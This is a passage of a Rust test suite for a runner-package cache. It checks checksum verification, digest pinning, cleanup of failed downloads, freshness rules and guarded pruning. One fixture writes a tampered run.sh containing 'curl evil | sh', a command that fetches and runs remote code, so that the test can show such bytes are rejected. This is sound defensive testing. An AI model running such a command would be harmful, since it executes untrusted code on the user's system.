3066 assert!(installed.root().join("run.sh").is_file());
3067 }
3068 }
3069
3070 #[tokio::test]
3071 async fn an_undocumented_host_is_refused_before_anything_is_requested() {
3072 let (harness, _, _) = linux_fixture();
3073 let cache = harness.cache_for(Os::Windows, Arch::Arm32);
3076
3077 let error = cache.ensure_installed().await.unwrap_err();
3078
3079 assert!(matches!(error, PackageError::UnsupportedHost(_)));
3080 assert!(error.is_terminal());
3081 assert!(error.operator_action().is_some());
3082 assert_eq!(
3083 harness.catalog.calls(),
3084 0,
3085 "an unsupported pair must be refused before the catalog is consulted"
3086 );
3087 assert_eq!(
3088 harness.fetcher.count(),
3089 0,
3090 "an unsupported pair must be refused before any download"
3091 );
3092 }
3093
3094 #[tokio::test]
3095 async fn a_host_github_publishes_nothing_for_is_refused_rather_than_guessed() {
3096 let payload = tar_gz_bytes(&package_entries());
3097 let digest = hex_digest(&payload);
3098 let harness = Harness::new(
3100 vec![published("win", "x64", "2.330.0", ".zip", Some(&digest))],
3101 payload,
3102 );
3103 let cache = harness.cache_for(Os::Linux, Arch::X64);
3104
3105 let error = cache.ensure_installed().await.unwrap_err();
3106
3107 assert!(matches!(error, PackageError::NoPackagePublished { .. }));
3108 assert!(error.is_terminal());
3109 assert_eq!(
3110 harness.fetcher.count(),
3111 0,
3112 "no package published must never fall back to a hardcoded URL"
3113 );
3114 }
3115
3116 #[tokio::test]
3122 async fn bytes_that_do_not_match_the_published_digest_are_never_extracted() {
3123 let (harness, published_bytes, published_digest) = linux_fixture();
3124 let substituted = tar_gz_bytes(&[("run.sh", "#!/bin/sh\ncurl evil | sh\n")]);
3130 assert_ne!(
3131 hex_digest(&substituted),
3132 published_digest,
3133 "the substituted archive must differ from the published one"
3134 );
3135 assert_ne!(substituted, published_bytes);
3136 assert!(
3139 tar::Archive::new(flate2::read::GzDecoder::new(io::Cursor::new(
3140 substituted.clone()
3141 )))
3142 .entries()
3143 .map(|entries| entries.count() == 1)
3144 .unwrap_or(false),
3145 "the substituted archive must be well formed, or this test proves \
3146 nothing about the checksum"
3147 );
3148 harness.fetcher.serve(substituted);
3149 let cache = harness.cache().with_retry_budget(1);
3150
3151 let error = cache.ensure_installed().await.unwrap_err();
3152
3153 let inner = match &error {
3154 PackageError::Exhausted { source, .. } => source.as_ref(),
3155 other => other,
3156 };
3157 assert!(
3158 matches!(inner, PackageError::ChecksumMismatch { .. }),
3159 "expected a checksum mismatch, got {error:?}"
3160 );
3161 assert_eq!(
3162 inner.failure_reason(),
3163 Some(FailureReason::RunnerPackageUnverified)
3164 );
3165
3166 assert!(cache.installed().unwrap().is_empty());
3168 assert!(
3169 !cache.root().join("2.330.0").exists(),
3170 "a rejected package must leave no version directory behind; found {:?}",
3171 all_paths(cache.root())
3172 );
3173 let leftovers = all_paths(cache.root());
3175 assert!(
3176 !leftovers.iter().any(|path| path.ends_with("run.sh")),
3177 "nothing from the archive may have been unpacked; found {leftovers:?}"
3178 );
3179 }
3180
3181 #[tokio::test]
3182 async fn the_unverified_download_is_removed_from_disk() {
3183 let (harness, _, _) = linux_fixture();
3184 harness
3185 .fetcher
3186 .serve(tar_gz_bytes(&[("run.sh", "substituted\n")]));
3187 let cache = harness.cache().with_retry_budget(1);
3188
3189 let error = cache.ensure_installed().await.unwrap_err();
3190 assert!(error.failure_reason().is_some());
3191
3192 let wrote = harness.fetcher.wrote();
3196 assert_eq!(wrote.len(), 1, "the fetcher must have written exactly once");
3197 assert!(
3198 !wrote[0].exists(),
3199 "the unverified download at {:?} must have been removed",
3200 wrote[0]
3201 );
3202
3203 let leftovers = all_paths(cache.root());
3205 assert!(
3206 !leftovers.iter().any(|path| path.ends_with(".archive")),
3207 "no downloaded archive may survive a mismatch; found {leftovers:?}"
3208 );
3209 }
3210
3211 #[tokio::test]
3212 async fn a_checksum_mismatch_is_retryable_and_clean_bytes_still_install() {
3213 let (harness, good, _) = linux_fixture();
3217 harness
3218 .fetcher
3219 .serve(tar_gz_bytes(&[("run.sh", "truncated\n")]));
3220 let cache = harness.cache().with_retry_budget(3);
3221
3222 let error = cache.ensure_installed().await.unwrap_err();
3224 assert!(matches!(error, PackageError::Exhausted { attempts: 3, .. }));
3225 assert_eq!(
3226 harness.fetcher.count(),
3227 3,
3228 "a mismatch is retryable, so the budget should have been spent"
3229 );
3230
3231 harness.fetcher.serve(good);
3233 let installed = cache.ensure_installed().await.expect("clean bytes install");
3234 assert_eq!(installed.version(), &version("2.330.0"));
3235 }
3236
3237 #[tokio::test]
3243 async fn an_absent_published_checksum_refuses_to_install_and_names_the_remedy() {
3244 let payload = tar_gz_bytes(&package_entries());
3245 let without = gh::download_without_checksum("linux", "x64");
3247 assert!(without.sha256_checksum().is_none());
3248 let harness = Harness::new(vec![without], payload);
3249 let cache = harness.cache();
3250
3251 let error = cache.ensure_installed().await.unwrap_err();
3252
3253 assert!(
3254 matches!(
3255 error,
3256 PackageError::ChecksumAbsent {
3257 published: PublishedChecksum::Absent,
3258 ..
3259 }
3260 ),
3261 "expected an absent checksum, got {error:?}"
3262 );
3263 assert!(error.is_terminal(), "failing closed is never retryable");
3264 assert_eq!(
3265 error.failure_reason(),
3266 Some(FailureReason::RunnerPackageUnverified)
3267 );
3268 let action = error.operator_action().expect("a terminal error acts");
3269 assert!(
3270 action.contains("pin"),
3271 "the remedy must name pinning, got `{action}`"
3272 );
3273 assert!(
3274 error.to_string().contains("Pin the digest"),
3275 "the message must name the remedy: `{error}`"
3276 );
3277 assert_eq!(
3278 harness.fetcher.count(),
3279 0,
3280 "an unverifiable package must not be downloaded at all"
3281 );
3282 }
3283
3284 #[tokio::test]
3285 async fn an_empty_published_checksum_is_reported_as_empty_rather_than_absent() {
3286 let payload = tar_gz_bytes(&package_entries());
3290 let harness = Harness::new(
3291 vec![published("linux", "x64", "2.330.0", ".tar.gz", Some(""))],
3292 payload,
3293 );
3294
3295 let error = harness.cache().ensure_installed().await.unwrap_err();
3296
3297 assert!(
3298 matches!(
3299 error,
3300 PackageError::ChecksumAbsent {
3301 published: PublishedChecksum::Empty,
3302 ..
3303 }
3304 ),
3305 "expected an empty checksum, got {error:?}"
3306 );
3307 assert!(error.to_string().contains("an empty sha256_checksum"));
3308 }
3309
3310 #[tokio::test]
3311 async fn an_operator_pinned_digest_installs_what_github_published_no_checksum_for() {
3312 let payload = tar_gz_bytes(&package_entries());
3313 let digest = hex_digest(&payload);
3314 let harness = Harness::new(
3315 vec![published("linux", "x64", "2.330.0", ".tar.gz", None)],
3316 payload,
3317 );
3318 let cache = harness.cache().with_pins(
3319 PinnedDigests::new()
3320 .pin("2.330.0", &digest)
3321 .expect("a well-formed pin"),
3322 );
3323
3324 let installed = cache.ensure_installed().await.expect("a pinned install");
3325
3326 assert_eq!(installed.version(), &version("2.330.0"));
3327 assert_eq!(installed.digest().as_str(), digest);
3328 assert!(installed.root().join("run.sh").is_file());
3329 }
3330
3331 #[tokio::test]
3332 async fn a_pinned_digest_is_a_digest_to_check_not_a_check_to_skip() {
3333 let payload = tar_gz_bytes(&package_entries());
3337 let harness = Harness::new(
3338 vec![published("linux", "x64", "2.330.0", ".tar.gz", None)],
3339 payload,
3340 );
3341 let cache = harness.cache().with_retry_budget(1).with_pins(
3342 PinnedDigests::new()
3343 .pin("2.330.0", &"a".repeat(64))
3344 .unwrap(),
3345 );
3346
3347 let error = cache.ensure_installed().await.unwrap_err();
3348
3349 let inner = match &error {
3350 PackageError::Exhausted { source, .. } => source.as_ref(),
3351 other => other,
3352 };
3353 assert!(
3354 matches!(inner, PackageError::ChecksumMismatch { .. }),
3355 "a wrong pin must still refuse, got {error:?}"
3356 );
3357 assert!(cache.installed().unwrap().is_empty());
3358 }
3359
3360 #[tokio::test]
3361 async fn a_pin_for_a_different_version_does_not_unlock_this_one() {
3362 let payload = tar_gz_bytes(&package_entries());
3363 let digest = hex_digest(&payload);
3364 let harness = Harness::new(
3365 vec![published("linux", "x64", "2.330.0", ".tar.gz", None)],
3366 payload,
3367 );
3368 let cache = harness
3370 .cache()
3371 .with_pins(PinnedDigests::new().pin("2.320.0", &digest).unwrap());
3372
3373 let error = cache.ensure_installed().await.unwrap_err();
3374
3375 assert!(matches!(error, PackageError::ChecksumAbsent { .. }));
3376 assert_eq!(harness.fetcher.count(), 0);
3377 }
3378
3379 #[tokio::test]
3380 async fn a_malformed_published_checksum_refuses_and_says_it_was_malformed() {
3381 let payload = tar_gz_bytes(&package_entries());
3385 for bad in ["sha256:9f86d081884c7d65", &"a".repeat(63), "not a digest"] {
3386 let harness = Harness::new(
3387 vec![published("linux", "x64", "2.330.0", ".tar.gz", Some(bad))],
3388 payload.clone(),
3389 );
3390
3391 let error = harness.cache().ensure_installed().await.unwrap_err();
3392
3393 assert!(
3394 matches!(
3395 error,
3396 PackageError::ChecksumAbsent {
3397 published: PublishedChecksum::Malformed,
3398 ..
3399 }
3400 ),
3401 "`{bad}` should be reported as malformed, got {error:?}"
3402 );
3403 assert!(error.is_terminal());
3404 assert_eq!(
3405 error.failure_reason(),
3406 Some(FailureReason::RunnerPackageUnverified)
3407 );
3408 assert!(
3409 error.to_string().contains("a malformed sha256_checksum"),
3410 "the operator is owed the shape that actually arrived: `{error}`"
3411 );
3412 assert_eq!(harness.fetcher.count(), 0);
3413 }
3414 }
3415
3416 #[tokio::test]
3417 async fn a_malformed_published_checksum_is_rescued_by_an_operator_pin() {
3418 let payload = tar_gz_bytes(&package_entries());
3421 let digest = hex_digest(&payload);
3422 let harness = Harness::new(
3423 vec![published(
3424 "linux",
3425 "x64",
3426 "2.330.0",
3427 ".tar.gz",
3428 Some("sha256:9f86d081884c7d65"),
3429 )],
3430 payload,
3431 );
3432 let cache = harness
3433 .cache()
3434 .with_pins(PinnedDigests::new().pin("2.330.0", &digest).unwrap());
3435
3436 let installed = cache
3437 .ensure_installed()
3438 .await
3439 .expect("a pin rescues a malformed published checksum");
3440
3441 assert_eq!(installed.digest().as_str(), digest);
3442 assert!(installed.root().join("run.sh").is_file());
3443 }
3444
3445 #[tokio::test]
3446 async fn every_unusable_published_checksum_shape_names_the_same_workable_remedy() {
3447 let payload = tar_gz_bytes(&package_entries());
3448 let digest = hex_digest(&payload);
3449 for (raw, expected) in [
3450 (None, PublishedChecksum::Absent),
3451 (Some(""), PublishedChecksum::Empty),
3452 (Some("nonsense"), PublishedChecksum::Malformed),
3453 ] {
3454 let downloads = vec![published("linux", "x64", "2.330.0", ".tar.gz", raw)];
3455
3456 let harness = Harness::new(downloads.clone(), payload.clone());
3458 let error = harness.cache().ensure_installed().await.unwrap_err();
3459 assert!(
3460 matches!(
3461 &error,
3462 PackageError::ChecksumAbsent { published, .. } if *published == expected
3463 ),
3464 "{expected:?}: got {error:?}"
3465 );
3466 assert!(error.operator_action().unwrap().contains("pin"));
3467
3468 let harness = Harness::new(downloads, payload.clone());
3471 let cache = harness
3472 .cache()
3473 .with_pins(PinnedDigests::new().pin("2.330.0", &digest).unwrap());
3474 cache
3475 .ensure_installed()
3476 .await
3477 .unwrap_or_else(|error| panic!("{expected:?} should be pinnable: {error}"));
3478 }
3479 }
3480
3481 #[tokio::test]
3487 async fn a_second_install_of_the_same_version_rewrites_nothing() {
3488 let (harness, _, _) = linux_fixture();
3489 let cache = harness.cache();
3490
3491 let first = cache.ensure_installed().await.expect("the first install");
3492 assert_eq!(harness.fetcher.count(), 1);
3493 assert_eq!(harness.catalog.calls(), 1);
3494
3495 harness
3505 .clock
3506 .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
3507
3508 let second = cache.ensure_installed().await.expect("the second install");
3509
3510 assert_eq!(second.version(), first.version());
3511 assert_eq!(second.root(), first.root());
3512 assert_eq!(
3513 harness.catalog.calls(),
3514 2,
3515 "the published version should have been re-checked"
3516 );
3517 assert_eq!(
3537 harness.fetcher.count(),
3538 1,
3539 "a version already held must not be downloaded again"
3540 );
3541 }
3542
3543 #[test]
3544 fn the_commit_rename_never_replaces_an_existing_entry() {
3545 let dir = tempfile::tempdir().expect("a temporary root");
3555 let existing = dir.path().join("2.330.0");
3556 fs::create_dir_all(existing.join("bin")).unwrap();
3557 fs::write(existing.join("run.sh"), b"the original").unwrap();
3558 let replacement = dir.path().join("staging");
3559 fs::create_dir_all(&replacement).unwrap();
3560 fs::write(replacement.join("run.sh"), b"the replacement").unwrap();
3561
3562 let result = fs::rename(&replacement, &existing);
3563
3564 assert!(
3565 result.is_err(),
3566 "renaming onto a populated entry must fail, or entries are mutable"
3567 );
3568 assert_eq!(
3569 fs::read_to_string(existing.join("run.sh")).unwrap(),
3570 "the original",
3571 "the existing entry's contents must survive"
3572 );
3573 assert!(
3574 existing.join("bin").is_dir(),
3575 "the existing entry's structure must survive"
3576 );
3577 }
3578
3579 #[tokio::test]
3580 async fn a_stale_entry_that_is_still_the_published_version_is_reused() {
3581 let (harness, _, _) = linux_fixture();
3597 let cache = harness.cache();
3598 let first = cache.ensure_installed().await.expect("an install");
3599 harness
3600 .clock
3601 .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
3602
3603 let again = cache.ensure_installed().await.expect("the same entry");
3604
3605 assert!(
3606 cache.is_stale(&first, harness.clock.now()),
3607 "the entry really is past the deadline"
3608 );
3609 assert_eq!(again.version(), first.version());
3610 assert_eq!(harness.fetcher.count(), 1);
3611 assert_eq!(cache.installed().unwrap().len(), 1);
3612 }
3613
3614 #[tokio::test]
3615 async fn an_entry_is_complete_the_moment_it_exists() {
3616 let (harness, _, _) = linux_fixture();
3621 let cache = harness.cache();
3622 let installed = cache.ensure_installed().await.expect("an install");
3623 assert!(installed.root().join(MANIFEST_FILE).is_file());
3624
3625 let impostor = cache.root().join("9.9.9");
3627 fs::create_dir_all(impostor.join("bin")).unwrap();
3628 fs::write(impostor.join("run.sh"), b"not ours").unwrap();
3629
3630 assert!(cache.entry(&version("9.9.9")).unwrap().is_none());
3631 assert_eq!(
3632 cache.installed().unwrap().len(),
3633 1,
3634 "only the real entry counts as installed"
3635 );
3636 }
3637
3638 #[tokio::test]
3639 async fn a_download_that_fails_leaves_no_entry_and_no_file() {
3640 let (harness, _, _) = linux_fixture();
3641 *harness.fetcher.fail.lock().unwrap() = true;
3642 let cache = harness.cache().with_retry_budget(1);
3643
3644 assert!(cache.ensure_installed().await.is_err());
3645
3646 assert!(cache.installed().unwrap().is_empty());
3647 let leftovers = all_paths(cache.root());
3648 assert_eq!(
3649 leftovers,
3650 vec![".staging".to_string()],
3651 "a failed download leaves an empty staging directory and nothing else"
3652 );
3653 }
3654
3655 #[tokio::test]
3656 async fn a_verified_package_that_will_not_extract_still_leaves_nothing_behind() {
3657 let payload = b"this verifies but is not a gzip stream".to_vec();
3662 let harness = Harness::new(
3663 vec![published(
3664 "linux",
3665 "x64",
3666 "2.330.0",
3667 ".tar.gz",
3668 Some(&hex_digest(&payload)),
3669 )],
3670 payload,
3671 );
3672 let cache = harness.cache().with_retry_budget(1);
3673
3674 let error = cache.ensure_installed().await.unwrap_err();
3675 let inner = match &error {
3676 PackageError::Exhausted { source, .. } => source.as_ref(),
3677 other => other,
3678 };
3679 assert!(
3680 matches!(inner, PackageError::Extract { .. }),
3681 "expected an extraction failure, got {error:?}"
3682 );
3683
3684 let wrote = harness.fetcher.wrote();
3685 assert_eq!(wrote.len(), 1, "the download did happen");
3686 assert!(
3687 !wrote[0].exists(),
3688 "the verified-but-unusable download at {:?} must still be removed",
3689 wrote[0]
3690 );
3691 assert!(cache.installed().unwrap().is_empty());
3692
3693 let before = all_paths(cache.root());
3696 assert!(
3697 before.iter().all(|path| path.starts_with(".staging")),
3698 "only staging litter may survive; found {before:?}"
3699 );
3700 cache.sweep_staging().expect("a sweep");
3701 assert_eq!(
3702 all_paths(cache.root()),
3703 vec![".staging".to_string()],
3704 "the sweep empties staging, leaving only the directory itself"
3705 );
3706 }
3707
3708 #[tokio::test]
3713 async fn a_cached_version_more_than_thirty_days_behind_is_refreshed_before_a_cold_start() {
3714 let (harness, _, _) = linux_fixture();
3715 let cache = harness.cache();
3716 let first = cache.ensure_installed().await.expect("the first install");
3717 assert_eq!(first.version(), &version("2.330.0"));
3718
3719 let newer = tar_gz_bytes(&[("run.sh", "#!/bin/sh\necho newer\n")]);
3721 harness.catalog.publish(vec![published(
3722 "linux",
3723 "x64",
3724 "2.340.0",
3725 ".tar.gz",
3726 Some(&hex_digest(&newer)),
3727 )]);
3728 harness.fetcher.serve(newer);
3729 harness
3730 .clock
3731 .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
3732
3733 let second = cache.ensure_installed().await.expect("a refresh");
3734
3735 assert_eq!(second.version(), &version("2.340.0"));
3736 assert_eq!(harness.fetcher.count(), 2, "the newer package was fetched");
3737 assert_eq!(
3738 cache.installed().unwrap().len(),
3739 2,
3740 "the old entry is not removed by a refresh; pruning is a separate, \
3741 guarded decision"
3742 );
3743 }
3744
3745 #[tokio::test]
3746 async fn a_cached_version_inside_the_window_is_not_re_downloaded() {
3747 let (harness, _, _) = linux_fixture();
3750 let cache = harness.cache();
3751 cache.ensure_installed().await.expect("the first install");
3752
3753 let newer = tar_gz_bytes(&[("run.sh", "newer\n")]);
3754 harness.catalog.publish(vec![published(
3755 "linux",
3756 "x64",
3757 "2.340.0",
3758 ".tar.gz",
3759 Some(&hex_digest(&newer)),
3760 )]);
3761 harness.fetcher.serve(newer);
3762 harness
3763 .clock
3764 .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS - 1));
3765
3766 let second = cache.ensure_installed().await.expect("the cached entry");
3767
3768 assert_eq!(second.version(), &version("2.330.0"));
3769 assert_eq!(harness.fetcher.count(), 1, "nothing new was downloaded");
3770 }
3771
3772 #[tokio::test]
3773 async fn the_freshness_boundary_is_the_documented_thirty_days() {
3774 let (harness, _, _) = linux_fixture();
3775 let cache = harness.cache();
3776 let installed = cache.ensure_installed().await.expect("an install");
3777 let installed_at = installed.installed_at();
3778
3779 assert!(!cache.is_stale(&installed, installed_at));
3780 assert!(!cache.is_stale(
3781 &installed,
3782 installed_at + Elapsed::days(FRESHNESS_WINDOW_DAYS)
3783 ));
3784 assert!(cache.is_stale(
3785 &installed,
3786 installed_at + Elapsed::days(FRESHNESS_WINDOW_DAYS) + Elapsed::seconds(1)
3787 ));
3788 }
3789
3790 #[tokio::test]
3791 async fn the_published_version_is_re_checked_only_on_a_bounded_interval() {
3792 let (harness, _, _) = linux_fixture();
3793 let cache = harness.cache();
3794 cache.ensure_installed().await.expect("the first install");
3795 assert_eq!(harness.catalog.calls(), 1);
3796
3797 harness
3799 .clock
3800 .advance(Elapsed::hours(CHECK_INTERVAL_HOURS - 1));
3801 cache.ensure_installed().await.expect("a cached answer");
3802 assert_eq!(
3803 harness.catalog.calls(),
3804 1,
3805 "a cold start inside the interval must not re-check"
3806 );
3807
3808 harness.clock.advance(Elapsed::hours(2));
3810 cache.ensure_installed().await.expect("a re-check");
3811 assert_eq!(harness.catalog.calls(), 2);
3812 }
3813
3814 #[tokio::test]
3815 async fn a_stale_entry_forces_a_re_check_even_inside_the_interval() {
3816 let (harness, _, _) = linux_fixture();
3819 let cache = harness.cache();
3820 cache.ensure_installed().await.expect("an install");
3821 assert_eq!(harness.catalog.calls(), 1);
3822
3823 harness
3824 .clock
3825 .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
3826 cache.ensure_installed().await.expect("a re-check");
3829 let after_recheck = harness.catalog.calls();
3830 harness.clock.advance(Elapsed::minutes(1));
3831
3832 cache.ensure_installed().await.expect("another cold start");
3833
3834 assert_eq!(
3835 harness.catalog.calls(),
3836 after_recheck + 1,
3837 "a stale entry must be re-checked on every cold start, interval or not"
3838 );
3839 }
3840
3841 #[tokio::test]
3842 async fn a_version_rejection_is_terminal_and_produces_no_retry() {
3843 let (harness, _, _) = linux_fixture();
3844 let harness = harness.with_catalog(FakeCatalog::answering(Answer::Rejected));
3845 let cache = harness.cache().with_retry_budget(3);
3848
3849 let error = cache.ensure_installed().await.unwrap_err();
3850
3851 assert!(
3852 matches!(error, PackageError::VersionRejected { .. }),
3853 "expected a version rejection, got {error:?}"
3854 );
3855 assert!(error.is_terminal());
3856 assert_eq!(
3857 error.failure_reason(),
3858 Some(FailureReason::RunnerVersionRejected),
3859 "the domain already names this; no second vocabulary"
3860 );
3861 assert!(
3862 error.operator_action().is_some(),
3863 "a terminal condition owes the operator an action"
3864 );
3865 assert!(
3866 error.to_string().contains("cannot succeed"),
3867 "the message must say retrying is pointless: `{error}`"
3868 );
3869 assert_eq!(
3870 harness.catalog.calls(),
3871 1,
3872 "a version rejection must be attempted exactly once"
3873 );
3874 assert_eq!(harness.fetcher.count(), 0);
3875 }
3876
3877 #[tokio::test]
3878 async fn a_retryable_catalog_failure_does_spend_the_whole_budget() {
3879 let (harness, _, _) = linux_fixture();
3884 let harness = harness.with_catalog(FakeCatalog::answering(Answer::Unavailable));
3885 let cache = harness.cache().with_retry_budget(3);
3886
3887 let error = cache.ensure_installed().await.unwrap_err();
3888
3889 assert!(matches!(error, PackageError::Exhausted { attempts: 3, .. }));
3890 assert_eq!(
3891 harness.catalog.calls(),
3892 3,
3893 "a retryable failure must spend the budget"
3894 );
3895 assert!(
3896 error.operator_action().is_none(),
3897 "the answer to a transient failure is to wait, not to act"
3898 );
3899 }
3900
3901 fn variant_name(error: &PackageError) -> &'static str {
3911 match error {
3912 PackageError::UnsupportedHost(_) => "UnsupportedHost",
3913 PackageError::NoPackagePublished { .. } => "NoPackagePublished",
3914 PackageError::ChecksumAbsent { .. } => "ChecksumAbsent",
3915 PackageError::ChecksumMismatch { .. } => "ChecksumMismatch",
3916 PackageError::MalformedDigest { .. } => "MalformedDigest",
3917 PackageError::VersionRejected { .. } => "VersionRejected",
3918 PackageError::CatalogUnavailable { .. } => "CatalogUnavailable",
3919 PackageError::Download { .. } => "Download",
3920 PackageError::UnrecognisedVersion { .. } => "UnrecognisedVersion",
3921 PackageError::UnsupportedArchive { .. } => "UnsupportedArchive",
3922 PackageError::UnsafeArchiveEntry { .. } => "UnsafeArchiveEntry",
3923 PackageError::Extract { .. } => "Extract",
3924 PackageError::VersionInUse { .. } => "VersionInUse",
3925 PackageError::VersionHeldByUnknownAttempt { .. } => "VersionHeldByUnknownAttempt",
3926 PackageError::UnreadableLease { .. } => "UnreadableLease",
3927 PackageError::WorkspaceInsideCache { .. } => "WorkspaceInsideCache",
3928 PackageError::NotInstalled { .. } => "NotInstalled",
3929 PackageError::Io { .. } => "Io",
3930 PackageError::Exhausted { .. } => "Exhausted",
3931 }
3932 }
3933
3934 const PACKAGE_ERROR_VARIANTS: usize = 19;
3941
3942 #[test]
3943 fn every_variant_is_classified_and_classification_matches_the_remedy() {
3944 let samples: Vec<(PackageError, bool)> = vec![
3948 (
3949 PackageError::Io {
3950 what: "read",
3951 path: PathBuf::from("x"),
3952 source: io::Error::other("disk"),
3953 },
3954 false,
3955 ),
3956 (
3957 PackageError::Exhausted {
3958 attempts: 3,
3959 source: Box::new(PackageError::Download {
3960 detail: "reset".to_string(),
3961 }),
3962 },
3963 true,
3964 ),
3965 (
3966 PackageError::UnreadableLease {
3967 path: PathBuf::from("x.lease"),
3968 },
3969 true,
3970 ),
3971 (
3972 PackageError::ChecksumMismatch {
3973 version: version("2.330.0"),
3974 expected: Sha256Hex::parse(&"a".repeat(64)).unwrap(),
3975 actual: Sha256Hex::parse(&"b".repeat(64)).unwrap(),
3976 },
3977 false,
3978 ),
3979 (
3980 PackageError::CatalogUnavailable {
3981 detail: "502".to_string(),
3982 },
3983 false,
3984 ),
3985 (
3986 PackageError::Download {
3987 detail: "reset".to_string(),
3988 },
3989 false,
3990 ),
3991 (
3992 PackageError::Extract {
3993 detail: "short read".to_string(),
3994 },
3995 false,
3996 ),
3997 (
3998 PackageError::UnsupportedHost(UnsupportedHost::UndocumentedPair {
3999 os: Os::Windows,
4000 arch: Arch::Arm32,
4001 }),
4002 true,
4003 ),
4004 (
4005 PackageError::NoPackagePublished {
4006 os: Os::Linux,
4007 arch: Arch::Arm32,
4008 },
4009 true,
4010 ),
4011 (
4012 PackageError::ChecksumAbsent {
4013 version: version("2.330.0"),
4014 os: Os::Linux,
4015 arch: Arch::X64,
4016 published: PublishedChecksum::Absent,
4017 },
4018 true,
4019 ),
4020 (
4021 PackageError::MalformedDigest {
4022 raw: "nope".to_string(),
4023 },
4024 true,
4025 ),
4026 (
4027 PackageError::VersionRejected {
4028 version: None,
4029 detail: None,
4030 },
4031 true,
4032 ),
4033 (
4034 PackageError::UnrecognisedVersion {
4035 raw: "nope".to_string(),
4036 },
4037 true,
4038 ),
4039 (
4040 PackageError::UnsupportedArchive {
4041 filename: "x.rar".to_string(),
4042 },
4043 true,
4044 ),
4045 (
4046 PackageError::UnsafeArchiveEntry {
4047 entry: "../x".to_string(),
4048 },
4049 true,
4050 ),
4051 (
4052 PackageError::VersionInUse {
4053 version: version("2.330.0"),
4054 attempt: fixtures::ATTEMPT_ID,
4055 state: AttemptState::Busy,
4056 },
4057 true,
4058 ),
4059 (
4060 PackageError::VersionHeldByUnknownAttempt {
4061 version: version("2.330.0"),
4062 attempt: fixtures::ATTEMPT_ID,
4063 },
4064 true,
4065 ),
4066 (
4067 PackageError::WorkspaceInsideCache {
4068 attempt: fixtures::ATTEMPT_ID,
4069 path: PathBuf::from("x"),
4070 },
4071 true,
4072 ),
4073 (
4074 PackageError::NotInstalled {
4075 version: version("2.330.0"),
4076 },
4077 true,
4078 ),
4079 ];
4080
4081 let covered: std::collections::BTreeSet<&'static str> = samples
4082 .iter()
4083 .map(|(error, _)| variant_name(error))
4084 .collect();
4085 assert_eq!(
4086 covered.len(),
4087 PACKAGE_ERROR_VARIANTS,
4088 "every variant needs a sample; covered {covered:?}"
4089 );
4090
4091 for (error, terminal) in samples {
4092 let name = variant_name(&error);
4093 assert_eq!(
4094 error.is_terminal(),
4095 terminal,
4096 "{name} is classified the wrong way"
4097 );
4098 if name == "Exhausted" {
4107 continue;
4108 }
4109 assert_eq!(
4110 error.operator_action().is_some(),
4111 terminal,
4112 "{name}: a terminal condition owes an action and a retryable one does not"
4113 );
4114 }
4115 }
4116
4117 #[test]
4118 fn a_removed_sample_is_caught_by_the_coverage_assertion() {
4119 let short: Vec<PackageError> = vec![PackageError::NotInstalled {
4122 version: version("2.330.0"),
4123 }];
4124 let covered: std::collections::BTreeSet<&'static str> =
4125 short.iter().map(variant_name).collect();
4126 assert_ne!(
4127 covered.len(),
4128 PACKAGE_ERROR_VARIANTS,
4129 "an incomplete sample list must not satisfy the coverage check"
4130 );
4131 }
4132
4133 #[test]
4134 fn exhaustion_reports_the_reason_the_budget_was_spent_on() {
4135 let exhausted = PackageError::Exhausted {
4136 attempts: 3,
4137 source: Box::new(PackageError::ChecksumMismatch {
4138 version: version("2.330.0"),
4139 expected: Sha256Hex::parse(&"a".repeat(64)).unwrap(),
4140 actual: Sha256Hex::parse(&"b".repeat(64)).unwrap(),
4141 }),
4142 };
4143 assert!(exhausted.is_terminal(), "the budget is spent");
4144 assert_eq!(
4145 exhausted.failure_reason(),
4146 Some(FailureReason::RunnerPackageUnverified),
4147 "the journal reason comes from what actually failed"
4148 );
4149 }
4150
4151 fn attempt_in(harness: &Harness, id: u128, state: AttemptState) -> RunnerAttempt {
4159 let id = AttemptId::from_u128(id);
4160 let runtime = harness
4161 .paths
4162 .runtime_dir()
4163 .join(fixtures::POLICY_ID.to_string())
4164 .join(id.to_string());
4165 fixtures::attempt()
4166 .id(id)
4167 .state(state)
4168 .runtime_path(runtime.to_string_lossy().to_string())
4169 .build()
4170 }
4171
4172 async fn cache_with_one_entry(harness: &Harness) -> PackageCache {
4173 let cache = harness.cache();
4174 cache.ensure_installed().await.expect("an install");
4175 cache
4176 }
4177
4178 #[tokio::test]
4179 async fn pruning_refuses_a_version_a_non_terminal_attempt_references() {
4180 let (harness, _, _) = linux_fixture();
4181 let cache = cache_with_one_entry(&harness).await;
4182 let held = version("2.330.0");
4183
4184 for state in AttemptState::ALL.iter().filter(|s| !s.is_terminal()) {
4188 let attempt = attempt_in(&harness, 0x100, *state);
4189 cache.lease(&attempt, &held).expect("a lease");
4190
4191 let error = cache
4192 .prune(&held, std::slice::from_ref(&attempt))
4193 .unwrap_err();
4194
4195 assert!(
4196 matches!(error, PackageError::VersionInUse { .. }),
4197 "state `{state}` should hold the version, got {error:?}"
4198 );
4199 assert!(error.is_terminal());
4200 assert!(error.operator_action().is_some());
4201 assert!(
4202 cache.entry(&held).unwrap().is_some(),
4203 "a refused prune must leave the entry in place"
4204 );
4205 cache.release(attempt.id).expect("release");
4206 }
4207 }
4208
4209 #[tokio::test]
4210 async fn pruning_succeeds_once_the_holding_attempt_is_terminal() {
4211 let (harness, _, _) = linux_fixture();
4212 let cache = cache_with_one_entry(&harness).await;
4213 let held = version("2.330.0");
4214
4215 let live = attempt_in(&harness, 0x100, AttemptState::Busy);
4216 cache.lease(&live, &held).expect("a lease");
4217 assert_eq!(cache.holders(&held).unwrap(), vec![live.id]);
4218
4219 assert!(cache.prune(&held, std::slice::from_ref(&live)).is_err());
4221 let root = cache
4222 .entry(&held)
4223 .unwrap()
4224 .expect("still there")
4225 .root()
4226 .to_path_buf();
4227 assert!(root.is_dir());
4228
4229 for state in AttemptState::ALL.iter().filter(|s| s.is_terminal()) {
4231 let concluded = attempt_in(&harness, 0x100, *state);
4232 assert!(concluded.is_terminal());
4233 if cache.entry(&held).unwrap().is_none() {
4236 cache.ensure_installed().await.expect("re-install");
4237 cache.lease(&concluded, &held).expect("a lease");
4238 }
4239
4240 cache
4241 .prune(&held, std::slice::from_ref(&concluded))
4242 .unwrap_or_else(|error| panic!("state `{state}` should allow a prune: {error}"));
4243
4244 assert!(
